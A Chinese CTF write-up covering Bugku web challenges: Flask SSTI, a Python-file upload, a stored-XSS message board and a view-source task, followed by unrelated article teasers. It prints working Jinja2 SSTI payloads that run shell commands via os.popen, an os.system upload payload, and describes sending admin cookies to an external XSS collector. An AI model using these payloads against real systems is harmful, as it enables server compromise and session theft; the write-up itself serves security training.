[Bugku] web-CTF靶场系列详解①!!!

devtools/2024/11/14 2:09:55/

            平台为“山东安信安全技术有限公司”自研CTF/AWD一体化平台,部分赛题采用动态FLAG形式,避免直接抄袭答案。

           平台有题库、赛事预告、工具库、Writeup库等模块。

-------------------------------

Simple_SSTI_1

                         启动环境:

               

              页面提示传入参数flag 

           F12查看源码得到第二个提示

      SECRET_KEY(秘钥)是Flask中重要的一个配置值,在这题,构造语句查看它,得到flag

      SECRET_KEY(秘钥)是Flask中重要的一个配置值,在这题,构造语句查看它,得到flag

-------------------------------------------------

Simple_SSTI_2

                         启动环境:

   页面提示传入参数flag 

             f12查看源码,发现没有提示信息。

            

           通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}读取系统文件(读取网站系统目录),发现如下的文件夹:

           通过{{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}读取读取app目录下的文件,发现存在flag文件 

            通过{{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}读取flag内容,读取flag内容,最终得到flag 

----------------------------------------

Flask_FileUpload

                                启动环境:

           发现是上传文件

        随便找张图片上传试试 

     查看源代码f12进入    注释告诉我们,会运行python的文件

     根据需求,编写代码  写一个python代码改成jpg或者png格式的文件

import os
os.system('cat /flag')

​ 

  上传 看看     在元素中即可查看flag

​ 

----------------------------------------

留言板:

              开启环境:

提示需登录后台,需要使用xss平台接收flag

打开场景后,出现了下面的界面。

  • 看到此类的题目,应该和存储型xss有关,也就是将恶意代码保存到服务器端
  • 即然在服务器端,那就是会在后台弹出窗口了
  • 所以需要找到后台地址,看看能不能爆破进入,但是题目提示了说不需要登录后台,需要使用xss平台来接收cookies
  • 测试一下script代码:

          发现确实可以读取到。

         使用目录扫描工具-御剑进行扫描试试

        得到后台管理地址:/admin.php 

          账号密码不知道?
          需要注意的是:该题目提示了无需登录后台!需要xss平台接收flag, http协议需要http协议的xss平台
           所以,我们需要找一个xss平台(https://xssaq.com/),目前我找到的这个是免费可用的,其他的都需要付费。

           将项目中提供的代码输入留言板中:

 在查看扫描出来的db.sql(本人没扫出来)不知道他们怎么扫出来的

# Host: localhost  (Version: 5.5.53)
# Date: 2019-08-04 16:13:22
# Generator: MySQL-Front 5.3  (Build 4.234)/*!40101 SET NAMES utf8 */;#
# Structure for table "text"
#CREATE DATABASE xss DEFAULT CHARACTER SET utf8;
use xss; DROP TABLE IF EXISTS `text`;
CREATE TABLE `text` (`Id` int(11) NOT NULL AUTO_INCREMENT,`text` varchar(255) DEFAULT NULL,PRIMARY KEY (`Id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;#
# Data for table "text"
#/*!40000 ALTER TABLE `text` DISABLE KEYS */;
/*!40000 ALTER TABLE `text` ENABLE KEYS */;#
# Structure for table "user"
#DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (`Id` int(11) NOT NULL AUTO_INCREMENT,`username` varchar(255) DEFAULT NULL,`password` varchar(255) DEFAULT NULL,PRIMARY KEY (`Id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;#
# Data for table "user"
#/*!40000 ALTER TABLE `user` DISABLE KEYS */;
INSERT INTO `user` VALUES (1,'admin','011be4d65feac1a8');
/*!40000 ALTER TABLE `user` ENABLE KEYS */;

  

           底部存在一组 user passwd

 

         尝试解码登录

      反射我们刚刚xss语句,我们在回到xss平台获得信息

       查看获得cookie,flag加密信息,解码获得flag

-------------------------------------------

滑稽:

                    开启环境:

                打开为以下界面

           查看源代码 获得flag


http://www.ppmy.cn/devtools/89013.html

相关文章

数字电路设计常见术语

头阻(Head-of-Line blocking) 交织(interleaving) 加速比(speedUP) 乱序(outOfOrder) 保序(order) 乱序重排(reorder) 发出未回…

8月17日|广州|Cocos开发者沙龙不见不散!

6月底举行的Cocos成都沙龙吸引了近200位开发者和10多家发行,得到了大家的一致好评。 Cocos广州沙龙即将到来,会邀请更多KOL和头部发行、渠道嘉宾分享行业经验,让大家实现技术干货、游戏合作、行业信息多丰收。 活动主题:小游戏与出…

关于JS中的AO对象

在JavaScript中,AO对象(Activation Object,激活对象)是与函数执行上下文相关的概念。每当一个函数被调用时,都会创建一个新的执行上下文,这个执行上下文包含一个AO对象,用于存储在函数执行期间创…

社交登录新纪元:Laravel Socialite 实战指南

社交登录新纪元:Laravel Socialite 实战指南 在当今数字化世界,社交登录为用户提供了一种快速、简便的登录方式。Laravel Socialite 是 Laravel 社区的一个扩展包,它提供了一种统一的方法来处理社交账号登录。本文将详细介绍如何在 Laravel …

欧拉图,欧拉通路,欧拉回路,Hierholzer算法详解

文章目录 零、哥尼斯堡七桥问题一、欧拉图1.1 相关概念1.2 判别法(不做证明)1.3 Hierholzer算法1.4 代码实现1.4.1 邻接表存图1.4.2 链式前向星存图 二、OJ练习2.1 模板12.2 模板22.3 重新安排行程2.4 合法重新排列数对2.5 破解保险箱2.6 骑马修栅栏2.7 …

【组合数学】【Python】【小练习】一、斯特灵近似式求阶乘

一、问题介绍 斯特灵(Stirling)近似式,是数学分析中,用于求阶乘近似值的一个常用公式,其简单的表述形式为: 二、Python实现 使用Python,循环从n1至n98,分别输出n的阶乘值、斯特灵公…

蓝屏事件:网络安全的启示

“微软蓝屏”事件暴露了网络安全哪些问题? 近日,一次由微软视窗系统软件更新引发的全球性“微软蓝屏”事件,不仅成为科技领域的热点新闻,更是一次对全球IT基础设施韧性与安全性的深刻检验。这次事件,源于美国电脑安全技…

JavaEE 第1节 认识多线程

本节目标(全是重点,都必须掌握) 1、了解什么是线程、多线程、进程以及他们之间的关系 2、了解多线程的优势以及各种特性 3、用Java掌握多种创建线程的方法 一、线程、多线程、进程 1、概念 1.基本概念 这三个名词的概念可以用一个餐馆…